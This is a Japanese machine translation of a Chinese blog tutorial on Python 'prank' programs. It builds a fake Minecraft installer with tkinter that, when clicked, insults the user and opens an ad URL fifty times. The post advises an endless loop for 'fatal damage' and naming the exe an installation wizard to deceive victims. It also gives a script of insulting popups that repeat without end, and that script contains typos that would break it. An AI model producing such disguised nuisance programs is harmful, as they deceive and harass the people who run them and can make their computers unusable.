Python なりすまし 2: インストーラーとランダムなポップアップ ウィンドウを模倣します。

コンピュータでソフトウェアをダウンロードする場合、インストーラが使用されるため、これを使用してなりすましプログラムを作成できます。

1. コードの書き方

1. ウィンドウの設定

まず、tkinter を使用して簡単なインストーラー インターフェイスを作成しましょう (Minecraft を例にします)。

import tkinter as tk
from tkinter import messagebox
import tkinter.messagebox
import webbrowser
answer="no"
root_window =tk.Tk()
root_window.title("Minecraft安装向导")
root_window.geometry("400x300")
root_window["background"]="#C9C9C9"
text=tk.Label(root_window,text="welcome to MINECRAFT!",fg="black",font=('Times','25'))
text.pack()

操作結果:

次に、いくつかのボタンとアイコンを追加します。

import tkinter as tk
from tkinter import messagebox
import tkinter.messagebox
answer="no"
root_window =tk.Tk()
root_window.title("Minecraft安装向导")
root_window.geometry("400x300")
root_window.iconbitmap("icopic.ico")
root_window["background"]="#C9C9C9"
text=tk.Label(root_window,text="welcome to MINECRAFT!",fg="black",font=('Times','25'))
text.pack()
def click_button():
    # 使用消息对话框控件,showinfo()表示温馨提示
    tkinter.messagebox.showinfo(title='温馨提示', message='想得美')
    
# 点击按钮时执行的函数
button = tk.Button(root_window,text='开始安装',bg='#7CCD7C',width=8, height=1,command=click_button).pack()
root_window.mainloop()

結果:

2. 無制限にウェブサイトを開く

このプログラムでは Minecraft を実際にインストールすることはできませんが、インストール Web サイトを開いて自分でインストールできるようにお手伝いします。

Web サイトを開くプログラム:

import webbrowser
for x in range(50):#打开网页的个数
        webbrowser.open('http://dbrg.tianjimedia.com/sem/childbd/f527.html?sfrom=206&TFT=2&DTS=1&keyID=70193&bd_vid=10492788977809859329')#网址

冷酷な場合は、「for x in range(50)」を「while True」に置き換えると、相手に致命的なダメージを与えることができます

2. 包装

具体的な方法については、この記事の最後の部分を参照してください。

Python スプーフィング コード 1: 「ランダム ポップアップ + 警告ウィンドウ + シャットダウン」のごっ​​た煮

注意すべき点は、pyinstaller を使用して exe ファイルをパッケージ化した後、ico アイコンを exe と同じフォルダーに配置する必要があることです。そうしないと、エラーが報告されます。exe ファイルに xxx インストール ウィザードという名前を付けると、効果が向上します。 !

ソースコード:

import tkinter as tk
from tkinter import*
from tkinter import messagebox
import tkinter.messagebox
import webbrowser
answer="no"
root_window =tk.Tk()
root_window.title("Minecraft安装向导")
root_window.geometry("400x300")
root_window.iconbitmap("icopic.ico")
root_window["background"]="#C9C9C9"
text=tk.Label(root_window,text="welcome to MINECRAFT!",fg="black",font=('Times','25'))

text.pack()
def click_button():
    # 使用消息对话框控件,showinfo()表示温馨提示
    tkinter.messagebox.showinfo(title='温馨提示', message='想得美')
    for x in range(50):
        webbrowser.open('http://dbrg.tianjimedia.com/sem/childbd/f527.html?sfrom=206&TFT=2&DTS=1&keyID=70193&bd_vid=10492788977809859329')
    
# 点击按钮时执行的函数
button = tk.Button(root_window,text='开始安装',bg='#7CCD7C',width=8, height=1,command=click_button).pack()
root_window.mainloop()

使用した画像:(png形式)

ico を変換するには、次の URL にアクセスします: ICO Converter — Convertio。icopic.ico という名前を付けることを忘れないでください。

3. ランダムな悪意のあるポップアップ

コードをすぐ下に示します。

import tkinter.messagebox
import random
import time
words_1=['你是一个','哈哈哈哈哈哈哈哈哈哈哈哈']
words_2=['傻狍子','善良的人','SB','傻子','猪']
while True:
    ch_word1=wordS_1[random.randint(0,1)]
    if ch_word1==words_1[1]:
        tkinter.messagebox.showinfo('info',ch_word1)
        time.sleep(5)#等待的时间
    else:
        ch_word2=word_2[random.randint(0,4)]
        end=ch_word1+ch_word2
        tkinter.messagebox.showinfo('info',end)
        time.sleep(5)
    

このプログラムの特徴は、exe または pyw ファイルにパッケージ化した後、閉じられない場合、5 秒ごとにランダムな情報を含むポップアップ ウィンドウが表示されることです。ここでは、ランダムな情報はあまり書かず、展開することができます。それは自由です。

おすすめ

転載: blog.csdn.net/xyx2023/article/details/128950634